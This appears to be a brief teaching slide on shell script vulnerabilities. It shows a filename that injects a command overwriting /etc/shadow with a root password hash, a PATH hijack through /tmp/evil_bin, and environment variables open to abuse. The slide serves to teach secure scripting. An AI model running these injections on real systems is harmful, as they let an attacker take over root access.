What Could Possibly Go Wrong? 

• Evil filename

$ last_run '; echo "root:aaQSqAReePlq6:::::::" >/etc/shadow'

• Bad $PATH (with replacement 'cat')

$ PATH=/tmp/evil_bin last_run import

• Other exploitable environment variables ...

IFS CDPATH ENV BASH_ENV